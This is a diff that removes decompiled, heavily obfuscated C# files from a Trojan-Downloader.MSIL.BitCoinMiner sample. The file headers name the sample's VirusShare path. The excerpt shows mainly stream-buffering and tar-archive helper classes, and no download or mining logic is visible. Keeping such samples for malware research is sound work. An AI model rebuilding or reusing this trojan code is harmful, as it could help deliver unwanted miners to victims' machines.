\u008F\u0003.\u0098((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2);
|
||||
this.\u0003 -= num2;
|
||||
if (this.\u0003 < 0)
|
||||
throw new InvalidOperationException();
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,64 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0017\u0002;
|
||||
using System.IO;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace \u000E\u0002
|
||||
{
|
||||
internal sealed class \u0016\u0002
|
||||
{
|
||||
private int \u0001;
|
||||
private byte[] \u0002;
|
||||
private int \u0003;
|
||||
private byte[] \u0004;
|
||||
private int \u0005;
|
||||
private ICryptoTransform \u0006;
|
||||
private Stream \u0007;
|
||||
|
||||
public \u0016\u0002([In] Stream obj0, [In] int obj1)
|
||||
{
|
||||
this.\u0007 = obj0;
|
||||
if (obj1 < 1024)
|
||||
obj1 = 1024;
|
||||
this.\u0002 = new byte[obj1];
|
||||
this.\u0004 = this.\u0002;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public int \u0084\u0004() => this.\u0001;
|
||||
|
||||
[SpecialName]
|
||||
public int \u0086\u0004() => this.\u0005;
|
||||
|
||||
public void \u0087\u0004([In] \u0013 obj0)
|
||||
{
|
||||
if (this.\u0005 <= 0)
|
||||
return;
|
||||
obj0.\u001A\u0003(this.\u0004, this.\u0003 - this.\u0005, this.\u0005);
|
||||
this.\u0005 = 0;
|
||||
}
|
||||
|
||||
public void \u009C\u0003()
|
||||
{
|
||||
this.\u0001 = 0;
|
||||
int num;
|
||||
for (int length = this.\u0002.Length; length > 0; length -= num)
|
||||
{
|
||||
num = \u0089\u0005.\u007E\u000F\u0005((object) this.\u0007, this.\u0002, this.\u0001, length);
|
||||
if (num > 0)
|
||||
this.\u0001 += num;
|
||||
else
|
||||
break;
|
||||
}
|
||||
this.\u0003 = this.\u0006 == null ? this.\u0001 : \u0094\u0003.\u007E\u0099\u0005((object) this.\u0006, this.\u0002, 0, this.\u0001, this.\u0004, 0);
|
||||
this.\u0005 = this.\u0003;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate byte[] \u000E\u0003([In] string obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Collections;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate IEnumerator \u000E\u0004([In] object obj0);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate Stream \u000E\u0005([In] object obj0, [In] string obj1);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u000F\u0003([In] object obj0, [In] int obj1, [In] char obj2);
|
||||
@ -1,9 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate int \u000F\u0004([In] object obj0, [In] string obj1);
|
||||
@ -1,10 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type:
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
internal delegate void \u000F\u0005([In] object obj0, [In] Size obj1);
|
||||
@ -1,25 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0006;
|
||||
using System;
|
||||
|
||||
namespace \u0010
|
||||
{
|
||||
internal sealed class \u000F
|
||||
{
|
||||
public static void \u0007\u0003()
|
||||
{
|
||||
try
|
||||
{
|
||||
\u00062.\u0089();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,60 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0010\u0002;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0010\u0002
|
||||
{
|
||||
internal sealed class \u000F\u0002 : IDisposable
|
||||
{
|
||||
private string \u0001 = string.Empty;
|
||||
private string \u0002 = string.Empty;
|
||||
private \u0014\u0002 \u0003;
|
||||
private \u0015\u0002 \u0004;
|
||||
private bool \u0005;
|
||||
|
||||
protected \u000F\u0002()
|
||||
{
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
this.Dispose(true);
|
||||
\u0093\u0003.\u007F\u0003((object) this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose([In] bool obj0)
|
||||
{
|
||||
if (this.\u0005)
|
||||
return;
|
||||
this.\u0005 = true;
|
||||
if (!obj0)
|
||||
return;
|
||||
if (this.\u0004 != null)
|
||||
{
|
||||
\u0093\u0003.\u007E\u0007\u0005((object) this.\u0004);
|
||||
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0004);
|
||||
}
|
||||
if (this.\u0003 == null)
|
||||
return;
|
||||
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0003);
|
||||
}
|
||||
|
||||
~\u000F\u0002()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Dispose(false);
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0093\u0003.\u0096((object) this);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,140 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using ICSharpCode.SharpZipLib.Tar;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0010\u0002
|
||||
{
|
||||
internal sealed class \u0011\u0002
|
||||
{
|
||||
private Stream \u0001;
|
||||
private Stream \u0002;
|
||||
private byte[] \u0003;
|
||||
private int \u0004;
|
||||
private int \u0005;
|
||||
private int \u0006 = 10240;
|
||||
private int \u0007 = 20;
|
||||
private bool \u0008 = true;
|
||||
|
||||
[SpecialName]
|
||||
public int \u009D\u0003() => this.\u0006;
|
||||
|
||||
[SpecialName]
|
||||
public int \u009E\u0003() => this.\u0007;
|
||||
|
||||
protected \u0011\u0002()
|
||||
{
|
||||
}
|
||||
|
||||
public byte[] \u009F\u0003()
|
||||
{
|
||||
if (this.\u0001 == null)
|
||||
throw new TarException(\u0008.\u000E\u0003(1870));
|
||||
if (this.\u0004 >= this.\u009E\u0003() && !this.\u0001\u0004())
|
||||
throw new TarException(\u0008.\u000E\u0003(1931));
|
||||
byte[] numArray = new byte[512];
|
||||
\u008F\u0003.\u0098((Array) this.\u0003, this.\u0004 * 512, (Array) numArray, 0, 512);
|
||||
++this.\u0004;
|
||||
return numArray;
|
||||
}
|
||||
|
||||
private bool \u0001\u0004()
|
||||
{
|
||||
if (this.\u0001 == null)
|
||||
throw new TarException(\u0008.\u000E\u0003(1964));
|
||||
this.\u0004 = 0;
|
||||
int num1 = 0;
|
||||
long num2;
|
||||
for (int index = this.\u009D\u0003(); index > 0; index -= (int) num2)
|
||||
{
|
||||
num2 = (long) \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, num1, index);
|
||||
if (num2 > 0L)
|
||||
num1 += (int) num2;
|
||||
else
|
||||
break;
|
||||
}
|
||||
++this.\u0005;
|
||||
return true;
|
||||
}
|
||||
|
||||
public void \u0002\u0004([In] byte[] obj0)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(2005));
|
||||
if (this.\u0002 == null)
|
||||
throw new TarException(\u0008.\u000E\u0003(2014));
|
||||
if (obj0.Length != 512)
|
||||
throw new TarException(\u001D\u0003.\u001A\u0002(\u0008.\u000E\u0003(2079), (object) obj0.Length, (object) 512));
|
||||
if (this.\u0004 >= this.\u009E\u0003())
|
||||
this.\u0003\u0004();
|
||||
\u008F\u0003.\u0098((Array) obj0, 0, (Array) this.\u0003, this.\u0004 * 512, 512);
|
||||
++this.\u0004;
|
||||
}
|
||||
|
||||
public void \u0002\u0004([In] byte[] obj0, [In] int obj1)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
|
||||
if (this.\u0002 == null)
|
||||
throw new TarException(\u0008.\u000E\u0003(2204));
|
||||
if (obj1 < 0 || obj1 >= obj0.Length)
|
||||
throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(577));
|
||||
if (obj1 + 512 > obj0.Length)
|
||||
throw new TarException(\u0091\u0004.\u001B\u0002(\u0008.\u000E\u0003(2277), (object) obj0.Length, (object) obj1, (object) this.\u0006));
|
||||
if (this.\u0004 >= this.\u009E\u0003())
|
||||
this.\u0003\u0004();
|
||||
\u008F\u0003.\u0098((Array) obj0, obj1, (Array) this.\u0003, this.\u0004 * 512, 512);
|
||||
++this.\u0004;
|
||||
}
|
||||
|
||||
private void \u0003\u0004()
|
||||
{
|
||||
if (this.\u0002 == null)
|
||||
throw new TarException(\u0008.\u000E\u0003(2423));
|
||||
\u001F\u0004.\u007E\u0011\u0005((object) this.\u0002, this.\u0003, 0, this.\u009D\u0003());
|
||||
\u0093\u0003.\u007E\u0007\u0005((object) this.\u0002);
|
||||
this.\u0004 = 0;
|
||||
++this.\u0005;
|
||||
}
|
||||
|
||||
private void \u0004\u0004()
|
||||
{
|
||||
if (this.\u0002 == null)
|
||||
throw new TarException(\u0008.\u000E\u0003(2488));
|
||||
if (this.\u0004 > 0)
|
||||
{
|
||||
int num = this.\u0004 * 512;
|
||||
\u0099\u0004.\u0099((Array) this.\u0003, num, this.\u009D\u0003() - num);
|
||||
this.\u0003\u0004();
|
||||
}
|
||||
\u0093\u0003.\u007E\u0007\u0005((object) this.\u0002);
|
||||
}
|
||||
|
||||
public void Close()
|
||||
{
|
||||
if (this.\u0002 == null)
|
||||
{
|
||||
if (this.\u0001 == null)
|
||||
return;
|
||||
if (this.\u0008)
|
||||
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0001);
|
||||
this.\u0001 = (Stream) null;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.\u0004\u0004();
|
||||
if (this.\u0008)
|
||||
\u0093\u0003.\u007E\u0006\u0005((object) this.\u0002);
|
||||
this.\u0002 = (Stream) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,40 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u0010\u0002;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0010\u0002
|
||||
{
|
||||
internal sealed class \u0012\u0002 : ICloneable
|
||||
{
|
||||
private string \u0001;
|
||||
private \u0013\u0002 \u0002;
|
||||
|
||||
private \u0012\u0002() => this.\u0002 = new \u0013\u0002();
|
||||
|
||||
public object Clone()
|
||||
{
|
||||
\u0012\u0002 obj = new \u0012\u0002();
|
||||
obj.\u0001 = this.\u0001;
|
||||
obj.\u0002 = (\u0013\u0002) this.\u0002.Clone();
|
||||
obj.\u0006\u0004(this.\u0005\u0004());
|
||||
return (object) obj;
|
||||
}
|
||||
|
||||
public override bool Equals([In] object obj0) => obj0 is \u0012\u0002 obj && \u0006\u0004.\u007E\u009F((object) this.\u0005\u0004(), obj.\u0005\u0004());
|
||||
|
||||
public override int GetHashCode() => \u0011\u0003.\u007E\u0095((object) this.\u0005\u0004());
|
||||
|
||||
[SpecialName]
|
||||
public string \u0005\u0004() => this.\u0002.\u0005\u0004();
|
||||
|
||||
[SpecialName]
|
||||
public void \u0006\u0004([In] string obj0) => this.\u0002.\u0006\u0004(obj0);
|
||||
}
|
||||
}
|
||||
@ -1,192 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0010\u0002;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0010\u0002
|
||||
{
|
||||
internal sealed class \u0013\u0002 : ICloneable
|
||||
{
|
||||
private static readonly DateTime \u0001 = new DateTime(1970, 1, 1, 0, 0, 0, 0);
|
||||
private string \u0002;
|
||||
private int \u0003;
|
||||
private int \u0004;
|
||||
private int \u0005;
|
||||
private long \u0006;
|
||||
private DateTime \u0007;
|
||||
private int \u0008;
|
||||
private byte \u000E;
|
||||
private string \u000F;
|
||||
private string \u0010;
|
||||
private string \u0011;
|
||||
private string \u0012;
|
||||
private string \u0013;
|
||||
private int \u0014;
|
||||
private int \u0015;
|
||||
internal static string \u0016 = \u0008.\u000E\u0003(2604);
|
||||
internal static int \u0017;
|
||||
internal static int \u0018;
|
||||
internal static string \u0019 = \u0008.\u000E\u0003(2604);
|
||||
internal static string \u001A;
|
||||
|
||||
public \u0013\u0002()
|
||||
{
|
||||
this.\u0018\u0004(\u0008.\u000E\u0003(2557));
|
||||
this.\u001A\u0004(\u0008.\u000E\u0003(2566));
|
||||
this.\u0006\u0004(\u0008.\u000E\u0003(837));
|
||||
this.\u0016\u0004(\u0008.\u000E\u0003(837));
|
||||
this.\u0008\u0004(\u0013\u0002.\u0017);
|
||||
this.\u000F\u0004(\u0013\u0002.\u0018);
|
||||
this.\u001C\u0004(\u0013\u0002.\u001A);
|
||||
this.\u001E\u0004(\u0013\u0002.\u0019);
|
||||
this.\u0011\u0004(0L);
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public string \u0005\u0004() => this.\u0002;
|
||||
|
||||
[SpecialName]
|
||||
public void \u0006\u0004([In] string obj0)
|
||||
{
|
||||
switch (obj0)
|
||||
{
|
||||
case null:
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
|
||||
default:
|
||||
this.\u0002 = obj0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public int \u0007\u0004() => this.\u0004;
|
||||
|
||||
[SpecialName]
|
||||
public void \u0008\u0004([In] int obj0) => this.\u0004 = obj0;
|
||||
|
||||
[SpecialName]
|
||||
public int \u000E\u0004() => this.\u0005;
|
||||
|
||||
[SpecialName]
|
||||
public void \u000F\u0004([In] int obj0) => this.\u0005 = obj0;
|
||||
|
||||
[SpecialName]
|
||||
public long \u0010\u0004() => this.\u0006;
|
||||
|
||||
[SpecialName]
|
||||
public void \u0011\u0004([In] long obj0) => this.\u0006 = obj0 >= 0L ? obj0 : throw new ArgumentOutOfRangeException(\u0008.\u000E\u0003(943), \u0008.\u000E\u0003(2571));
|
||||
|
||||
[SpecialName]
|
||||
public DateTime \u0012\u0004() => this.\u0007;
|
||||
|
||||
[SpecialName]
|
||||
public int \u0013\u0004() => this.\u0008;
|
||||
|
||||
[SpecialName]
|
||||
public byte \u0014\u0004() => this.\u000E;
|
||||
|
||||
[SpecialName]
|
||||
public string \u0015\u0004() => this.\u000F;
|
||||
|
||||
[SpecialName]
|
||||
public void \u0016\u0004([In] string obj0)
|
||||
{
|
||||
switch (obj0)
|
||||
{
|
||||
case null:
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
|
||||
default:
|
||||
this.\u000F = obj0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public string \u0017\u0004() => this.\u0010;
|
||||
|
||||
[SpecialName]
|
||||
public void \u0018\u0004([In] string obj0)
|
||||
{
|
||||
switch (obj0)
|
||||
{
|
||||
case null:
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
|
||||
default:
|
||||
this.\u0010 = obj0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public string \u0019\u0004() => this.\u0011;
|
||||
|
||||
[SpecialName]
|
||||
public void \u001A\u0004([In] string obj0)
|
||||
{
|
||||
switch (obj0)
|
||||
{
|
||||
case null:
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(943));
|
||||
default:
|
||||
this.\u0011 = obj0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public string \u001B\u0004() => this.\u0012;
|
||||
|
||||
[SpecialName]
|
||||
public void \u001C\u0004([In] string obj0)
|
||||
{
|
||||
switch (obj0)
|
||||
{
|
||||
case null:
|
||||
string str = \u0083\u0005.\u001B\u0003();
|
||||
if (\u0011\u0003.\u007E\u0004\u0002((object) str) > 32)
|
||||
str = \u001A\u0005.\u007E\u0007\u0002((object) str, 0, 32);
|
||||
this.\u0012 = str;
|
||||
break;
|
||||
default:
|
||||
this.\u0012 = \u001A\u0005.\u007E\u0007\u0002((object) obj0, 0, \u0013\u0005.\u0087\u0003(32, \u0011\u0003.\u007E\u0004\u0002((object) obj0)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public string \u001D\u0004() => this.\u0013;
|
||||
|
||||
[SpecialName]
|
||||
public void \u001E\u0004([In] string obj0)
|
||||
{
|
||||
switch (obj0)
|
||||
{
|
||||
case null:
|
||||
this.\u0013 = \u0008.\u000E\u0003(2604);
|
||||
break;
|
||||
default:
|
||||
this.\u0013 = obj0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
public int \u001F\u0004() => this.\u0014;
|
||||
|
||||
[SpecialName]
|
||||
public int \u007F\u0004() => this.\u0015;
|
||||
|
||||
public object Clone() => \u001B\u0005.\u0097((object) this);
|
||||
|
||||
public override int GetHashCode() => \u0011\u0003.\u007E\u0095((object) this.\u0005\u0004());
|
||||
|
||||
public override bool Equals([In] object obj0) => obj0 is \u0013\u0002 obj && \u0080\u0005.\u0001\u0002(this.\u0002, obj.\u0002) && this.\u0003 == obj.\u0003 && this.\u0007\u0004() == obj.\u0007\u0004() && this.\u000E\u0004() == obj.\u000E\u0004() && this.\u0010\u0004() == obj.\u0010\u0004() && \u0017\u0005.\u009C\u0002(this.\u0012\u0004(), obj.\u0012\u0004()) && this.\u0013\u0004() == obj.\u0013\u0004() && (int) this.\u0014\u0004() == (int) obj.\u0014\u0004() && \u0080\u0005.\u0001\u0002(this.\u0015\u0004(), obj.\u0015\u0004()) && \u0080\u0005.\u0001\u0002(this.\u0017\u0004(), obj.\u0017\u0004()) && \u0080\u0005.\u0001\u0002(this.\u0019\u0004(), obj.\u0019\u0004()) && \u0080\u0005.\u0001\u0002(this.\u001B\u0004(), obj.\u001B\u0004()) && \u0080\u0005.\u0001\u0002(this.\u001D\u0004(), obj.\u001D\u0004()) && this.\u001F\u0004() == obj.\u001F\u0004() && this.\u007F\u0004() == obj.\u007F\u0004();
|
||||
}
|
||||
}
|
||||
@ -1,116 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0010\u0002;
|
||||
using ICSharpCode.SharpZipLib.Tar;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0010\u0002
|
||||
{
|
||||
internal sealed class \u0014\u0002 : Stream
|
||||
{
|
||||
protected long \u0001;
|
||||
protected long \u0002;
|
||||
protected byte[] \u0003;
|
||||
protected \u0011\u0002 \u0004;
|
||||
private readonly Stream \u0005;
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanRead() => \u0007\u0003.\u007E\u009E\u0004((object) this.\u0005);
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanSeek() => false;
|
||||
|
||||
[SpecialName]
|
||||
public override bool get_CanWrite() => false;
|
||||
|
||||
[SpecialName]
|
||||
public override long get_Length() => \u007F\u0004.\u007E\u0003\u0005((object) this.\u0005);
|
||||
|
||||
[SpecialName]
|
||||
public override long get_Position() => \u007F\u0004.\u007E\u0004\u0005((object) this.\u0005);
|
||||
|
||||
[SpecialName]
|
||||
public override void set_Position([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2613));
|
||||
|
||||
public override void Flush() => \u0093\u0003.\u007E\u0007\u0005((object) this.\u0005);
|
||||
|
||||
public override long Seek([In] long obj0, [In] SeekOrigin obj1) => throw new NotSupportedException(\u0008.\u000E\u0003(2613));
|
||||
|
||||
public override void SetLength([In] long obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2658));
|
||||
|
||||
public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotSupportedException(\u0008.\u000E\u0003(2711));
|
||||
|
||||
public override void WriteByte([In] byte obj0) => throw new NotSupportedException(\u0008.\u000E\u0003(2760));
|
||||
|
||||
public override int ReadByte()
|
||||
{
|
||||
byte[] numArray = new byte[1];
|
||||
return \u0089\u0005.\u007E\u000F\u0005((object) this, numArray, 0, 1) <= 0 ? -1 : (int) numArray[0];
|
||||
}
|
||||
|
||||
public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
|
||||
{
|
||||
if (obj0 == null)
|
||||
throw new ArgumentNullException(\u0008.\u000E\u0003(568));
|
||||
int num1 = 0;
|
||||
if (this.\u0002 >= this.\u0001)
|
||||
return 0;
|
||||
long num2 = (long) obj2;
|
||||
if (num2 + this.\u0002 > this.\u0001)
|
||||
num2 = this.\u0001 - this.\u0002;
|
||||
if (this.\u0003 != null)
|
||||
{
|
||||
int num3 = num2 > (long) this.\u0003.Length ? this.\u0003.Length : (int) num2;
|
||||
\u008F\u0003.\u0098((Array) this.\u0003, 0, (Array) obj0, obj1, num3);
|
||||
if (num3 >= this.\u0003.Length)
|
||||
{
|
||||
this.\u0003 = (byte[]) null;
|
||||
}
|
||||
else
|
||||
{
|
||||
int length = this.\u0003.Length - num3;
|
||||
byte[] numArray = new byte[length];
|
||||
\u008F\u0003.\u0098((Array) this.\u0003, num3, (Array) numArray, 0, length);
|
||||
this.\u0003 = numArray;
|
||||
}
|
||||
num1 += num3;
|
||||
num2 -= (long) num3;
|
||||
obj1 += num3;
|
||||
}
|
||||
while (num2 > 0L)
|
||||
{
|
||||
byte[] numArray = this.\u0004.\u009F\u0003();
|
||||
if (numArray == null)
|
||||
throw new TarException(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(2813), (object) num2, (object) \u0008.\u000E\u0003(2842)));
|
||||
int num4 = (int) num2;
|
||||
int length = numArray.Length;
|
||||
if (length > num4)
|
||||
{
|
||||
\u008F\u0003.\u0098((Array) numArray, 0, (Array) obj0, obj1, num4);
|
||||
this.\u0003 = new byte[length - num4];
|
||||
\u008F\u0003.\u0098((Array) numArray, num4, (Array) this.\u0003, 0, length - num4);
|
||||
}
|
||||
else
|
||||
{
|
||||
num4 = length;
|
||||
\u008F\u0003.\u0098((Array) numArray, 0, (Array) obj0, obj1, length);
|
||||
}
|
||||
num1 += num4;
|
||||
num2 -= (long) num4;
|
||||
obj1 += num4;
|
||||
}
|
||||
this.\u0002 += (long) num1;
|
||||
return num1;
|
||||
}
|
||||
|
||||
public override void Close() => this.\u0004.Close();
|
||||
}
|
||||
}
|
||||
@ -1,156 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: .
|
||||
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
|
||||
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
|
||||
|
||||
using \u000E;
|
||||
using \u0010\u0002;
|
||||
using ICSharpCode.SharpZipLib.Tar;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0010\u0002
|
||||
{
|
||||
internal sealed class \u0015\u0002 : Stream
|
||||
{
|
||||
private long \u0001;
|
||||
private int \u0002;
|
||||
